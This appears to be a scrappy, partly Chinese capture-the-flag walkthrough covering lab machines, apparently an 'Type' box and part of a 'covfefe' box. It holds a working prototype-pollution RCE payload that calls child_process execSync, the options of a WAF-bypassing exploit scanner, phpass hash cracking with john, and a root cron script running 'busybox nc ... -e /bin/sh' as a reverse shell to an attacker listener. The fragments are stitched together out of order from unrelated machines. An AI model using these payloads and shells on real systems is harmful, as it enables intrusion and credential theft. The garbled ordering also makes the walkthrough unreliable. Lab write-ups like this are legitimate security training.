┌──(root㉿kali)-[~] └─# nmap -p- 192.168.3.164 Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-07 18:37 CST Nmap scan report for 192.168.3.164 Host is up (0.00049s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3000/tcp open ppp
crafted_chunk = { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": '{"then": "$B0"}', "_response": { "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});", # If you don't need the command output, you can use this line instead: # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');", "_formData": { "get": "$1:constructor:constructor", }, }, }
optional arguments: -h, --help show this help message and exit -u URL, --url URL Single URL/host to check -l LIST, --list LIST File containing list of hosts (one per line) -t THREADS, --threads THREADS Number of concurrent threads (default: 10) --timeout TIMEOUT Request timeoutin seconds (default: 10) -o OUTPUT, --output OUTPUT Output file for results (JSON format) --all-results Save all results to output file, not just vulnerable hosts -k, --insecure Disable SSL certificate verification -H HEADER, --header HEADER Custom header in'Key: Value' format (can be used multiple times) -v, --verbose Verbose output (show response snippets for vulnerable hosts) -q, --quiet Quiet mode (only show vulnerable hosts) --no-color Disable colored output --safe-check Use safe side-channel detection instead of RCE PoC --windows Use Windows PowerShell payload instead of Unix shell --waf-bypass Add junk data to bypass WAF content inspection (default: 128KB) --waf-bypass-size KB Size of junk data in KB for WAF bypass (default: 128)
[*] Loaded 1 host(s) to scan [*] Using 1 thread(s) [*] Timeout: 10s [*] Using RCE PoC check [!] SSL verification disabled
[ERROR] flag{root-bc29a7159b63b18dc294002be32e1c22} - Connection Error: HTTPSConnectionPool(host='flag%7broot-bc29a7159b63b18dc294002be32e1c22%7d', port=443): Max retries exceeded with url: / (Caused by NameResolutionError("HTTPSConnection(host='flag%7broot-bc29a7159b63b18dc294002be32e1c22%7d', port=443): Failed to resolve 'flag%7broot-bc29a7159b63b18dc294002be32e1c22%7d' ([Errno -2] Name or service not known)"))
============================================================ SCAN SUMMARY ============================================================ Total hosts scanned: 1 Vulnerable: 0 Not vulnerable: 1 Errors: 0 ============================================================
[*] Loaded 1 host(s) to scan [*] Using 1 thread(s) [*] Timeout: 10s [*] Using RCE PoC check [!] SSL verification disabled
[ERROR] To75CuOTHLA7BMmH5Puv - Connection Error: HTTPSConnectionPool(host='to75cuothla7bmmh5puv', port=443): Max retries exceeded with url: / (Caused by NameResolutionError("HTTPSConnection(host='to75cuothla7bmmh5puv', port=443): Failed to resolve 'to75cuothla7bmmh5puv' ([Errno -2] Name or service not known)"))
============================================================ SCAN SUMMARY ============================================================ Total hosts scanned: 1 Vulnerable: 0 Not vulnerable: 1 Errors: 0 ============================================================
/home/plugugly $ ls -la total 16 drwxr-sr-x 2 plugugly plugugly 4096 Feb 23 10:43 . drwxr-xr-x 3 root root 4096 Feb 22 23:25 .. lrwxrwxrwx 1 root plugugly 9 Feb 23 10:43 .ash_history -> /dev/null -rw-r--r-- 1 root plugugly 111 Feb 23 10:42 .hint -rw-r--r-- 1 root plugugly 44 Feb 22 23:25 user.txt /home/plugugly $ cat user.txt flag{user-f1315ee82308853cc1a9402f2cfa6d1c} /home/plugugly $ cat .hint Can't type fast enough? Maybe the system stat bar has a hidden 'Debug Mode'. Try to knock on it several times.
发现有database, 是SQLite
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
/data $ ls -la total 20 drwxr-xr-x 5 root root 4096 Feb 22 23:19 . drwxr-xr-x 22 root root 4096 Feb 23 10:56 .. drwxr-xr-x 2 root root 4096 Feb 22 23:19 certs drwxrwxrwx 2 root root 4096 Feb 27 09:57 database drwxrwxrwx 6 root root 4096 Feb 23 00:00 typecho /data $ cd database/ /data/database $ ls typecho.db /data/database $ ls -la total 112 drwxrwxrwx 2 root root 4096 Feb 27 09:57 . drwxr-xr-x 5 root root 4096 Feb 22 23:19 .. -rw-r--r-- 1 nobody nobody 102400 Feb 27 09:57 typecho.db /data/database $ file typecho.db typecho.db: SQLite 3.x database, last written using SQLite version 3049002, file counter 382, database pages 25, cookie 0x13, schema 4, UTF-8, version-valid-for 382
☁ typeecho'$P$BuyKfLj9xZ0iLez6SomJNOLGx.7g.U/' > hash ☁ typecathash $P$BuyKfLj9xZ0iLez6SomJNOLGx.7g.U/ ☁ type john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3]) Cost 1 (iteration count) is 8192 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 2boobies (?) 1g 0:00:00:03 DONE (2026-02-27 10:49) 0.3289g/s 32463p/s 32463c/s 32463C/s Dominic1..221180 Use the "--show --format=phpass" options to display all of the cracked passwords reliably Session completed. ☁ type john --show hash ?:2boobies
1 password hash cracked, 0 left
ssh的用户密码 plugugly 2boobies
ssh
1 2 3 4 5 6 7 8 9
Type:~$ sudo -l Matching Defaults entries for plugugly on Type: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=XAUTHORITY
Runas and Command-specific defaults for plugugly: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User plugugly may run the following commands on Type: (ALL) NOPASSWD: /root/typer.py
Type:/usr/local/bin$ ls cleanup_scores.sh Type:/usr/local/bin$ cat cleanup_scores.sh #!/bin/sh busybox nc 192.168.43.16 1111 -e /bin/sh echo 'Cleanup process started by root...'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
☁ ~ nc -lvnp 1111 listening on [any] 1111 ... id connect to [192.168.43.16] from (UNKNOWN) [192.168.43.196] 41601 uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) cd /usr ls linpeas.sh user.txt cd /root ls root.txt typer.py cat root.txt flag{root-e0d46f8ca8c65edb6b7d46daeafebe16}
CEWL：CTF 中必备的密码字典生成工具
CEWL（发音为”cool”）是Custom Word List generator（自定义单词列表生成器）的缩写，是一款在CTF（Capture The Flag）夺旗赛中广泛使用的密码字典生成工具，默认集成于Kali Linux等渗透测试系统中。
┌──(root㉿kali-linux)-[~/localkali/covfefe] └─# ssh -i id_rsa simon@192.168.43.76 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Permissions 0644 for 'id_rsa' are too open. It is required that your private key files are NOT accessible by others. This private key will be ignored. Load key "id_rsa": bad permissions simon@192.168.43.76: Permission denied (publickey).
